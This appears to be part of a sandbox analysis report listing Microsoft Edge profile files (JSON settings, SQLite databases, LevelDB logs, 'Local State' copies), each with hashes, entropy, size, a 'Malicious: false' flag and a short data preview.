SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Reputation:	unknown
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\d88d5672-88f4-4235-b6cb-059a979498dc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.561694485798031
Encrypted:	false
SSDEEP:	768:6gj/5y7pLGLPg6WPvLfWe8F1+UoAYDCx9Tuqh0VfUC9xbog/OV3p7MRtsrwWlGxh:6gj/5KcPg6WPvLfWeu1ja+p7itFWlGwg
MD5:	7AF178BCE8C57F72962C78C0CA12C7E2
SHA1:	C27E2279140566FCDE00BCA8AE2AFD15A1288F9A
SHA-256:	C3250932721EEEDFAA981E2FE08BB8A53E283FDFB2BD72D9A899FBD901A70A1F
SHA-512:	9D73D0899EE327A550CF1F9A1C8E494C7148CF6705F8FB64AAEE91A8E17656D8742FD2436B14F46AD05FDB227EF2869E3AACD168FD3A2ECA595D7A70B7AE7FCD
Malicious:	false
Reputation:	unknown
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376560153673795","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376560153673795","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10267546965263274
Encrypted:	false
SSDEEP:	12:+F7F8spEjVl/PnnnnnnnnnnnvoQ3EoexA:+F7FZoPnnnnnnnnnnnv9jV
MD5:	D52786C8BC612ED7ED453A7DCB4D0112
SHA1:	6BF0FE5EB1277F9E4489064384B3103B61D3252B
SHA-256:	7C5A02B04D673170C3474700AE9DEE265F388ABB3B47C0E036625FAFB1427A56
SHA-512:	6468E31B719ADC502E05B611825797AD305B55C15A6A37BDB89372D5F25A3585A9E3D1B9996C526C477C40D9DFDADC42ABEFB88326FCDC25EB46CFD1A063F9EF
Malicious:	false
Reputation:	unknown
Preview:	..-.............M..........hF. ..4..}..^..{S.-...-.............M..........hF. ..4..}..^..{S.-.........I...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	317272
Entropy (8bit):	0.8878471989478812
Encrypted:	false
SSDEEP:	384:G2yA0GfAp8d4Au8Yt4AA8AAA98e2lAY8LQAz80BAB8lmAO8EZAF8+611OAx8Ev8P:YnyF09AMlgg76
MD5:	E6BA7FF4F7DCADB27011FB03668DBD97
SHA1:	B7E62213E34CCF30764BBB8D36B7244F8C98DAE6
SHA-256:	D8943151F89314F251693C922A0AFCF711A927932CCF2DA0402DD4FAF271C512
SHA-512:	6FB1831A0E922298AF4C18845B4472E362B05529C9B1DFD4B294EBBE3C2329E313819F9654FDFCC07C4C8D9CB7DE0135E8B741F593D094AC266FD3DAA2A113F2
Malicious:	false
Reputation:	unknown
Preview:	7....-...........4..}...8.?L.0.........4..}........C.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	694
Entropy (8bit):	3.569916711327272
Encrypted:	false
SSDEEP:	12:Wlc8NOuuuuuuuuuuuuuuuuuuuuDZllDHbHyP8on:iDgblbjAn
MD5:	A4DDA6AFE65B8FA217EC943F5F85FC65
SHA1:	81319A4DE4934E7A119B07F69BDF1B878371F0D5
SHA-256:	5B8657A3BE64EC31EE1627E9F441CF575241CA036A76EFA3FF9B16D74A5970C0
SHA-512:	C7C3BDB423E8842494FB4E99E6DC9F4BBA932B91595BB89E5F43CBDC6CD94EB3FFE0FC2DB0EEEEBF92C5B8825898B6DD9B4D2E2241C0D2A06F6A089143D1C8D1
Malicious:	false
Reputation:	unknown
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..}0................39_config..........6.....n ....1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=................QTH;...............#38_h.......6.Z..W.F.....N.".....N."..........V.e................V.e................V.e..................0.0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.17557772198047
Encrypted:	false
SSDEEP:	6:H6jF++q2P923oH+TcwtfrK+IFUt8Y6jFbWZmw+Y6B3VkwO923oH+TcwtfrUeLJ:s++v4Yeb23FUt8fbW/+zV5LYeb3J
MD5:	83864781EDF543A7086BDF6407646A3A
SHA1:	4E4693F959F803299301593C62F7E390AC52EB1B
SHA-256:	E50F3A82297620F01B09CA16E602312824BCBAEE5C07E27AF4AD1E5A89F94832
SHA-512:	98AF59469559C973BB37BA36CED9095EA1C04B9BEB0ECB5F91A89FC91A0BDE7AD53C7F146B49D5BE403371B28C1A5193F75C53960DF980D433B52EABC4BCFB9F
Malicious:	false
Reputation:	unknown
Preview:	2024/11/20-02:09:14.455 14cc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/20-02:09:14.455 14cc Recovering log #3.2024/11/20-02:09:14.456 14cc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.17557772198047
Encrypted:	false
SSDEEP:	6:H6jF++q2P923oH+TcwtfrK+IFUt8Y6jFbWZmw+Y6B3VkwO923oH+TcwtfrUeLJ:s++v4Yeb23FUt8fbW/+zV5LYeb3J
MD5:	83864781EDF543A7086BDF6407646A3A
SHA1:	4E4693F959F803299301593C62F7E390AC52EB1B
SHA-256:	E50F3A82297620F01B09CA16E602312824BCBAEE5C07E27AF4AD1E5A89F94832
SHA-512:	98AF59469559C973BB37BA36CED9095EA1C04B9BEB0ECB5F91A89FC91A0BDE7AD53C7F146B49D5BE403371B28C1A5193F75C53960DF980D433B52EABC4BCFB9F
Malicious:	false
Reputation:	unknown
Preview:	2024/11/20-02:09:14.455 14cc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/20-02:09:14.455 14cc Recovering log #3.2024/11/20-02:09:14.456 14cc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	787
Entropy (8bit):	4.059252238767438
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z3p/Uz0RuWlJhC+lvBavRtin01zvZDEtlkyBrgxvB1ys:G0nYUtypD3RUovhC+lvBOL+t3IvB8s
MD5:	D8D8899761F621B63AD5ED6DF46D22FE
SHA1:	23E6A39058AB3C1DEADC0AF2E0FFD0D84BB7F1BE
SHA-256:	A5E0A78EE981FB767509F26021E1FA3C506F4E86860946CAC1DC4107EB3B3813
SHA-512:	4F89F556138C0CF24D3D890717EB82067C5269063C84229E93F203A22028782902FA48FB0154F53E06339F2FDBE35A985CE728235EA429D8D157090D25F15A4E
Malicious:	false
Reputation:	unknown
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....,.1..................19_.....QL.s.................18_.....<.J\|.................37_...... .A.................38_..........................39_........].................20_.....Owa..................20_.....`..N.................19_.....D8.X.................18_......`...................37_..........................38_......\e..................39_.....dz.\|.................9_.....'\c..................9_.......f-.................__global... .\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.132752098901894
Encrypted:	false
SSDEEP:	6:H6j3+q2P923oH+TcwtfrzAdIFUt8Y6jAWZmw+Y6j3VkwO923oH+TcwtfrzILJ:23+v4Yeb9FUt8BAW/+B3V5LYeb2J
MD5:	DDAF736A6337EEFAD301161CE4915269
SHA1:	05107FDDFDDEEF3075406AF41AA5B23AD97D3184
SHA-256:	2802D15B2F35EFBF4FA019C0BF4BE443BD608958E23ED3F82FDBB4B946E77EB5
SHA-512:	E1A9E741D65AD35EBF2DD82FB9CC10EAEE4AFB4CD411336FAFAA3A7E0132E4222F5FEEE4D1B516BB9B5B7331A84D1CE72207293B30963140B460D3482F723AD4
Malicious:	false
Reputation:	unknown
Preview:	2024/11/20-02:09:14.450 14cc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/20-02:09:14.450 14cc Recovering log #3.2024/11/20-02:09:14.450 14cc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.132752098901894
Encrypted:	false
SSDEEP:	6:H6j3+q2P923oH+TcwtfrzAdIFUt8Y6jAWZmw+Y6j3VkwO923oH+TcwtfrzILJ:23+v4Yeb9FUt8BAW/+B3V5LYeb2J
MD5:	DDAF736A6337EEFAD301161CE4915269
SHA1:	05107FDDFDDEEF3075406AF41AA5B23AD97D3184
SHA-256:	2802D15B2F35EFBF4FA019C0BF4BE443BD608958E23ED3F82FDBB4B946E77EB5
SHA-512:	E1A9E741D65AD35EBF2DD82FB9CC10EAEE4AFB4CD411336FAFAA3A7E0132E4222F5FEEE4D1B516BB9B5B7331A84D1CE72207293B30963140B460D3482F723AD4
Malicious:	false
Reputation:	unknown
Preview:	2024/11/20-02:09:14.450 14cc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/20-02:09:14.450 14cc Recovering log #3.2024/11/20-02:09:14.450 14cc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Reputation:	unknown
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Reputation:	unknown
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090736385476349
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM7wuF9hDO6vP6O+9tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynE/6Mtbz8hu3VlXr4CRo1
MD5:	3EB615CBD96BF75D5CE31C391E98FE01
SHA1:	6DAE07DAE7E96B83A67F2034409C5B3180EF1132
SHA-256:	F8D3791BD72A541D623F84609554FA2A9284340D88A2C0ACE907190EBB2137A3
SHA-512:	AFFBA2F07926021525D57ED3534D423851222D07B8239844DC839A81BC42B9C920BEF58B18DC0347508D6EB5763DFC92B3C8942706F90F1183DEB76736832080
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF35a85.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090736385476349
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM7wuF9hDO6vP6O+9tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynE/6Mtbz8hu3VlXr4CRo1
MD5:	3EB615CBD96BF75D5CE31C391E98FE01
SHA1:	6DAE07DAE7E96B83A67F2034409C5B3180EF1132
SHA-256:	F8D3791BD72A541D623F84609554FA2A9284340D88A2C0ACE907190EBB2137A3
SHA-512:	AFFBA2F07926021525D57ED3534D423851222D07B8239844DC839A81BC42B9C920BEF58B18DC0347508D6EB5763DFC92B3C8942706F90F1183DEB76736832080
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF35a94.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090736385476349
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM7wuF9hDO6vP6O+9tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynE/6Mtbz8hu3VlXr4CRo1
MD5:	3EB615CBD96BF75D5CE31C391E98FE01
SHA1:	6DAE07DAE7E96B83A67F2034409C5B3180EF1132
SHA-256:	F8D3791BD72A541D623F84609554FA2A9284340D88A2C0ACE907190EBB2137A3
SHA-512:	AFFBA2F07926021525D57ED3534D423851222D07B8239844DC839A81BC42B9C920BEF58B18DC0347508D6EB5763DFC92B3C8942706F90F1183DEB76736832080
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF35cf6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090736385476349
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM7wuF9hDO6vP6O+9tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynE/6Mtbz8hu3VlXr4CRo1
MD5:	3EB615CBD96BF75D5CE31C391E98FE01
SHA1:	6DAE07DAE7E96B83A67F2034409C5B3180EF1132
SHA-256:	F8D3791BD72A541D623F84609554FA2A9284340D88A2C0ACE907190EBB2137A3
SHA-512:	AFFBA2F07926021525D57ED3534D423851222D07B8239844DC839A81BC42B9C920BEF58B18DC0347508D6EB5763DFC92B3C8942706F90F1183DEB76736832080
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3835a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090736385476349
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM7wuF9hDO6vP6O+9tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynE/6Mtbz8hu3VlXr4CRo1
MD5:	3EB615CBD96BF75D5CE31C391E98FE01
SHA1:	6DAE07DAE7E96B83A67F2034409C5B3180EF1132
SHA-256:	F8D3791BD72A541D623F84609554FA2A9284340D88A2C0ACE907190EBB2137A3
SHA-512:	AFFBA2F07926021525D57ED3534D423851222D07B8239844DC839A81BC42B9C920BEF58B18DC0347508D6EB5763DFC92B3C8942706F90F1183DEB76736832080
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LC